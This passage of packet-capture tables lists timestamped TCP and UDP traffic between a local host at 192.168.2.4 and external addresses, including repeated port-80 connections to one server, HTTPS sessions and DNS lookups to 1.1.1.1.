Sep 1, 2024 02:51:57.941394091 CEST	80	50072	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:57.943706989 CEST	50072	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:58.017514944 CEST	50072	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:58.018037081 CEST	50073	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:58.022955894 CEST	80	50072	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:58.023024082 CEST	50072	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:58.023315907 CEST	80	50073	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:58.023380041 CEST	50073	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:58.023739100 CEST	50073	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:58.028554916 CEST	80	50073	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:58.861211061 CEST	80	50073	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:58.861303091 CEST	50073	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:58.967227936 CEST	50073	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:58.967521906 CEST	50074	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:58.973603010 CEST	80	50074	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:58.973721027 CEST	50074	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:58.973788977 CEST	80	50073	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:58.973881006 CEST	50073	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:58.974062920 CEST	50074	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:58.978892088 CEST	80	50074	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:59.721570969 CEST	80	50074	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:59.721621037 CEST	50074	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:59.725511074 CEST	50074	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:59.725800991 CEST	50075	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:59.730952978 CEST	80	50074	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:59.730999947 CEST	50074	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:59.732994080 CEST	80	50075	185.215.113.19	192.168.2.4
Sep 1, 2024 02:51:59.733057022 CEST	50075	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:59.733374119 CEST	50075	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:51:59.738883972 CEST	80	50075	185.215.113.19	192.168.2.4
Sep 1, 2024 02:52:00.477121115 CEST	80	50075	185.215.113.19	192.168.2.4
Sep 1, 2024 02:52:00.479753971 CEST	50075	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:52:00.594671011 CEST	50076	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:52:00.594671965 CEST	50075	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:52:00.599569082 CEST	80	50076	185.215.113.19	192.168.2.4
Sep 1, 2024 02:52:00.599833012 CEST	80	50075	185.215.113.19	192.168.2.4
Sep 1, 2024 02:52:00.599920034 CEST	50076	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:52:00.599920034 CEST	50075	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:52:00.600058079 CEST	50076	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:52:00.605159998 CEST	80	50076	185.215.113.19	192.168.2.4
Sep 1, 2024 02:52:01.346570969 CEST	80	50076	185.215.113.19	192.168.2.4
Sep 1, 2024 02:52:01.346657038 CEST	50076	80	192.168.2.4	185.215.113.19
Sep 1, 2024 02:52:09.637430906 CEST	49792	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:52:09.637459040 CEST	443	49792	142.250.80.110	192.168.2.4
Sep 1, 2024 02:52:09.937311888 CEST	49793	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:52:09.937325954 CEST	443	49793	142.250.80.110	192.168.2.4
Sep 1, 2024 02:52:24.483596087 CEST	443	49792	142.250.80.110	192.168.2.4
Sep 1, 2024 02:52:24.483664989 CEST	443	49792	142.250.80.110	192.168.2.4
Sep 1, 2024 02:52:24.490772963 CEST	49792	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:52:24.496344090 CEST	443	49793	142.250.80.110	192.168.2.4
Sep 1, 2024 02:52:24.496402025 CEST	443	49793	142.250.80.110	192.168.2.4
Sep 1, 2024 02:52:24.502787113 CEST	49793	443	192.168.2.4	142.250.80.110

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 1, 2024 02:48:15.314327002 CEST	53	49206	1.1.1.1	192.168.2.4
Sep 1, 2024 02:48:16.541750908 CEST	52228	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:48:16.542121887 CEST	64728	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:48:18.318156958 CEST	53	50718	1.1.1.1	192.168.2.4
Sep 1, 2024 02:48:18.351746082 CEST	53	55757	1.1.1.1	192.168.2.4
Sep 1, 2024 02:48:19.557637930 CEST	62732	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:48:19.557637930 CEST	58134	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:48:19.558131933 CEST	64814	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:48:19.559030056 CEST	57549	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:48:19.559497118 CEST	55395	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:48:19.559497118 CEST	54452	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:48:19.559835911 CEST	58623	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:48:19.560094118 CEST	53294	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:48:19.564270020 CEST	53	62732	1.1.1.1	192.168.2.4
Sep 1, 2024 02:48:19.564496040 CEST	53	58134	1.1.1.1	192.168.2.4
Sep 1, 2024 02:48:19.564608097 CEST	53	64814	1.1.1.1	192.168.2.4
Sep 1, 2024 02:48:19.565586090 CEST	53	57549	1.1.1.1	192.168.2.4
Sep 1, 2024 02:48:19.566066980 CEST	53	54452	1.1.1.1	192.168.2.4
Sep 1, 2024 02:48:19.566164970 CEST	53	55395	1.1.1.1	192.168.2.4
Sep 1, 2024 02:48:19.566598892 CEST	53	53294	1.1.1.1	192.168.2.4
Sep 1, 2024 02:48:19.566793919 CEST	53	58623	1.1.1.1	192.168.2.4
Sep 1, 2024 02:48:19.675791025 CEST	49980	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:48:19.676026106 CEST	53639	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:48:19.682404041 CEST	53	49980	1.1.1.1	192.168.2.4
Sep 1, 2024 02:48:19.682804108 CEST	53	53639	1.1.1.1	192.168.2.4
Sep 1, 2024 02:48:20.268100023 CEST	138	138	192.168.2.4	192.168.2.255
Sep 1, 2024 02:48:20.546065092 CEST	50416	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:20.850964069 CEST	50416	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:21.286777020 CEST	443	50416	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.287285089 CEST	443	50416	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.287333012 CEST	443	50416	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.287343979 CEST	443	50416	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.287446976 CEST	443	50416	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.287463903 CEST	50416	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:21.289045095 CEST	50416	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:21.289150000 CEST	50416	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:21.291704893 CEST	50416	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:21.383721113 CEST	443	50416	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.383959055 CEST	443	50416	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.383969069 CEST	443	50416	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.383975983 CEST	443	50416	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.384130001 CEST	50416	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:21.384223938 CEST	50416	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:21.387291908 CEST	443	50416	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.387881041 CEST	443	50416	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.388078928 CEST	443	50416	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.388247967 CEST	50416	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:21.478806019 CEST	443	50416	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:21.504875898 CEST	50416	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:22.131067991 CEST	50416	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:22.131067991 CEST	50416	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:22.227277040 CEST	443	50416	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:22.227793932 CEST	443	50416	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:22.228111982 CEST	443	50416	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:22.228566885 CEST	50416	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:22.711453915 CEST	50416	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:22.711586952 CEST	50416	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:23.009641886 CEST	443	50416	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:23.009655952 CEST	443	50416	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:23.009665012 CEST	443	50416	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:23.009789944 CEST	443	50416	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:23.010894060 CEST	50416	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:23.017153978 CEST	50416	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:23.017452002 CEST	50416	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:23.112632036 CEST	443	50416	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:23.113687992 CEST	443	50416	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:23.113831997 CEST	443	50416	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:23.114047050 CEST	50416	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:23.613509893 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:23.917253017 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.289136887 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.289150953 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.289161921 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.289170980 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.289180994 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.289230108 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.289731026 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.290287018 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.291187048 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.291263103 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.291620016 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.291620016 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.291732073 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.355393887 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.355907917 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.384048939 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.384212971 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.384237051 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.384381056 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.384932995 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.385133982 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.385292053 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.385493994 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.400806904 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.401118994 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.406085968 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.406372070 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:24.450054884 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:24.500000954 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:31.934830904 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:31.934859991 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:32.029391050 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:32.059027910 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:32.070611000 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:32.072215080 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:32.191955090 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:32.608781099 CEST	59555	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:48:32.608930111 CEST	59648	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:48:32.615926027 CEST	53	59648	1.1.1.1	192.168.2.4
Sep 1, 2024 02:48:32.615947962 CEST	53	59555	1.1.1.1	192.168.2.4
Sep 1, 2024 02:48:35.268345118 CEST	53	54378	1.1.1.1	192.168.2.4
Sep 1, 2024 02:48:35.637213945 CEST	63347	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:48:35.637407064 CEST	57325	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:48:35.637778997 CEST	58497	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:48:35.637830019 CEST	53051	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:48:35.650713921 CEST	53	57325	1.1.1.1	192.168.2.4
Sep 1, 2024 02:48:35.650729895 CEST	53	58497	1.1.1.1	192.168.2.4
Sep 1, 2024 02:48:35.650738955 CEST	53	63347	1.1.1.1	192.168.2.4
Sep 1, 2024 02:48:35.650814056 CEST	53	53051	1.1.1.1	192.168.2.4
Sep 1, 2024 02:48:35.681054115 CEST	53832	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:48:35.681176901 CEST	64679	53	192.168.2.4	1.1.1.1
Sep 1, 2024 02:48:35.687714100 CEST	53	64679	1.1.1.1	192.168.2.4
Sep 1, 2024 02:48:35.687778950 CEST	53	53832	1.1.1.1	192.168.2.4
Sep 1, 2024 02:48:50.904620886 CEST	53619	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:51.220545053 CEST	53619	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:51.356967926 CEST	443	53619	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:51.357161999 CEST	443	53619	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:51.357213974 CEST	443	53619	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:51.357326984 CEST	443	53619	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:51.357348919 CEST	443	53619	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:51.358560085 CEST	53619	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:51.359862089 CEST	53619	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:51.360471010 CEST	53619	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:51.360471010 CEST	53619	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:51.360717058 CEST	53619	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:51.459188938 CEST	443	53619	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:51.459198952 CEST	443	53619	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:51.459202051 CEST	443	53619	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:51.459204912 CEST	443	53619	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:51.459454060 CEST	443	53619	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:51.460788012 CEST	443	53619	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:51.484056950 CEST	443	53619	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:51.485353947 CEST	443	53619	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:51.493200064 CEST	53619	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:51.493587971 CEST	53619	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:51.493587971 CEST	53619	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:51.596187115 CEST	443	53619	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:51.621881008 CEST	53619	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:52.700225115 CEST	53619	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:52.700604916 CEST	53619	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:52.701817989 CEST	50792	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:52.732722044 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:52.732795000 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:52.805325031 CEST	443	53619	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:52.806509018 CEST	443	53619	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:52.806606054 CEST	443	53619	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:52.807097912 CEST	53619	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:52.839431047 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:52.846112013 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:52.846329927 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:52.846350908 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:52.886750937 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:52.935537100 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:52.964740992 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:53.011708975 CEST	50792	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:53.045183897 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:53.045461893 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:53.046511889 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:53.074239969 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:53.150252104 CEST	443	50792	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:53.150265932 CEST	443	50792	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:53.150418997 CEST	443	50792	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:53.150429010 CEST	443	50792	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:53.150443077 CEST	443	50792	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:53.151201010 CEST	50792	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:53.153354883 CEST	50792	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:53.153733015 CEST	50792	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:53.154038906 CEST	50792	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:53.154680014 CEST	50792	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:53.154835939 CEST	50792	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:53.166357994 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:53.257004976 CEST	443	50792	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:53.257234097 CEST	443	50792	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:53.257422924 CEST	50792	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:53.258419037 CEST	443	50792	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:53.258430004 CEST	443	50792	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:53.258438110 CEST	443	50792	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:53.258495092 CEST	443	50792	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:53.258584023 CEST	50792	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:53.258735895 CEST	50792	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:53.352111101 CEST	443	50792	172.64.41.3	192.168.2.4
Sep 1, 2024 02:48:53.386640072 CEST	50792	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:48:54.191302061 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:54.341016054 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:54.341140985 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:48:54.341432095 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:54.371196985 CEST	53309	443	192.168.2.4	142.250.80.110
Sep 1, 2024 02:48:54.460943937 CEST	443	53309	142.250.80.110	192.168.2.4
Sep 1, 2024 02:49:14.317747116 CEST	51718	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:14.624763012 CEST	51718	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:14.780780077 CEST	443	51718	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.780824900 CEST	443	51718	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.780930042 CEST	443	51718	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.780950069 CEST	443	51718	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.780958891 CEST	443	51718	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.781584024 CEST	51718	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:14.783097029 CEST	51718	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:14.783289909 CEST	51718	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:14.783549070 CEST	51718	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:14.883610010 CEST	443	51718	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.883619070 CEST	443	51718	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.883626938 CEST	443	51718	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.883637905 CEST	443	51718	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.884020090 CEST	51718	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:14.884170055 CEST	51718	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:14.884268045 CEST	443	51718	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.885421038 CEST	443	51718	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:14.917670012 CEST	51718	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:14.978112936 CEST	443	51718	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:15.011080027 CEST	51718	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:25.280061007 CEST	52246	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:25.280739069 CEST	52246	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:25.281297922 CEST	52246	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:25.281671047 CEST	52246	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:25.758243084 CEST	443	52246	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:25.759234905 CEST	52246	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:25.793247938 CEST	52246	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:25.855413914 CEST	443	52246	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:25.855427980 CEST	443	52246	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:25.855437994 CEST	443	52246	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:25.855447054 CEST	443	52246	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:25.855811119 CEST	52246	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:25.855982065 CEST	52246	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:25.951571941 CEST	443	52246	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:25.952038050 CEST	52246	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:26.049185991 CEST	443	52246	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:26.050407887 CEST	443	52246	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:26.050690889 CEST	443	52246	172.64.41.3	192.168.2.4
Sep 1, 2024 02:49:26.051031113 CEST	52246	443	192.168.2.4	172.64.41.3
Sep 1, 2024 02:49:26.051768064 CEST	65165	443	192.168.2.4	142.250.65.174
Sep 1, 2024 02:49:26.052051067 CEST	65165	443	192.168.2.4	142.250.65.174
Sep 1, 2024 02:49:26.505234957 CEST	443	65165	142.250.65.174	192.168.2.4
Sep 1, 2024 02:49:26.505508900 CEST	443	65165	142.250.65.174	192.168.2.4
Sep 1, 2024 02:49:26.507034063 CEST	65165	443	192.168.2.4	142.250.65.174
Sep 1, 2024 02:49:26.507034063 CEST	65165	443	192.168.2.4	142.250.65.174
Sep 1, 2024 02:49:26.507244110 CEST	65165	443	192.168.2.4	142.250.65.174
Sep 1, 2024 02:49:26.507603884 CEST	65165	443	192.168.2.4	142.250.65.174
Sep 1, 2024 02:49:26.507636070 CEST	65165	443	192.168.2.4	142.250.65.174
Sep 1, 2024 02:49:26.507774115 CEST	65165	443	192.168.2.4	142.250.65.174
Sep 1, 2024 02:49:26.522552013 CEST	443	65165	142.250.65.174	192.168.2.4
Sep 1, 2024 02:49:26.609930992 CEST	443	65165	142.250.65.174	192.168.2.4
Sep 1, 2024 02:49:26.610603094 CEST	443	65165	142.250.65.174	192.168.2.4
Sep 1, 2024 02:49:26.610640049 CEST	443	65165	142.250.65.174	192.168.2.4
Sep 1, 2024 02:49:26.610649109 CEST	443	65165	142.250.65.174	192.168.2.4
Sep 1, 2024 02:49:26.610774994 CEST	65165	443	192.168.2.4	142.250.65.174
Sep 1, 2024 02:49:26.619318962 CEST	443	65165	142.250.65.174	192.168.2.4
Sep 1, 2024 02:49:26.619518995 CEST	443	65165	142.250.65.174	192.168.2.4
Sep 1, 2024 02:49:26.619527102 CEST	443	65165	142.250.65.174	192.168.2.4
Sep 1, 2024 02:49:26.619643927 CEST	65165	443	192.168.2.4	142.250.65.174
Sep 1, 2024 02:49:26.619708061 CEST	443	65165	142.250.65.174	192.168.2.4
Sep 1, 2024 02:49:26.619848013 CEST	65165	443	192.168.2.4	142.250.65.174
Sep 1, 2024 02:49:26.651962042 CEST	65165	443	192.168.2.4	142.250.65.174
Sep 1, 2024 02:49:26.717478037 CEST	443	65165	142.250.65.174	192.168.2.4
Sep 1, 2024 02:49:56.296010017 CEST	58201	443	192.168.2.4	142.250.65.174
Sep 1, 2024 02:49:56.296278954 CEST	58201	443	192.168.2.4	142.250.65.174
Sep 1, 2024 02:49:56.767273903 CEST	443	58201	142.250.65.174	192.168.2.4
Sep 1, 2024 02:49:56.767292976 CEST	443	58201	142.250.65.174	192.168.2.4
Sep 1, 2024 02:49:56.767885923 CEST	58201	443	192.168.2.4	142.250.65.174
Sep 1, 2024 02:49:56.768028021 CEST	58201	443	192.168.2.4	142.250.65.174
Sep 1, 2024 02:49:56.768316031 CEST	58201	443	192.168.2.4	142.250.65.174
Sep 1, 2024 02:49:56.768316031 CEST	58201	443	192.168.2.4	142.250.65.174
Sep 1, 2024 02:49:56.784887075 CEST	443	58201	142.250.65.174	192.168.2.4
Sep 1, 2024 02:49:56.866014957 CEST	443	58201	142.250.65.174	192.168.2.4
Sep 1, 2024 02:49:56.866481066 CEST	443	58201	142.250.65.174	192.168.2.4
Sep 1, 2024 02:49:56.866488934 CEST	443	58201	142.250.65.174	192.168.2.4
Sep 1, 2024 02:49:56.870665073 CEST	58201	443	192.168.2.4	142.250.65.174
Sep 1, 2024 02:49:56.880335093 CEST	443	58201	142.250.65.174	192.168.2.4
Sep 1, 2024 02:49:56.881721973 CEST	443	58201	142.250.65.174	192.168.2.4
Sep 1, 2024 02:49:56.886595011 CEST	58201	443	192.168.2.4	142.250.65.174
Sep 1, 2024 02:49:56.922799110 CEST	58201	443	192.168.2.4	142.250.65.174
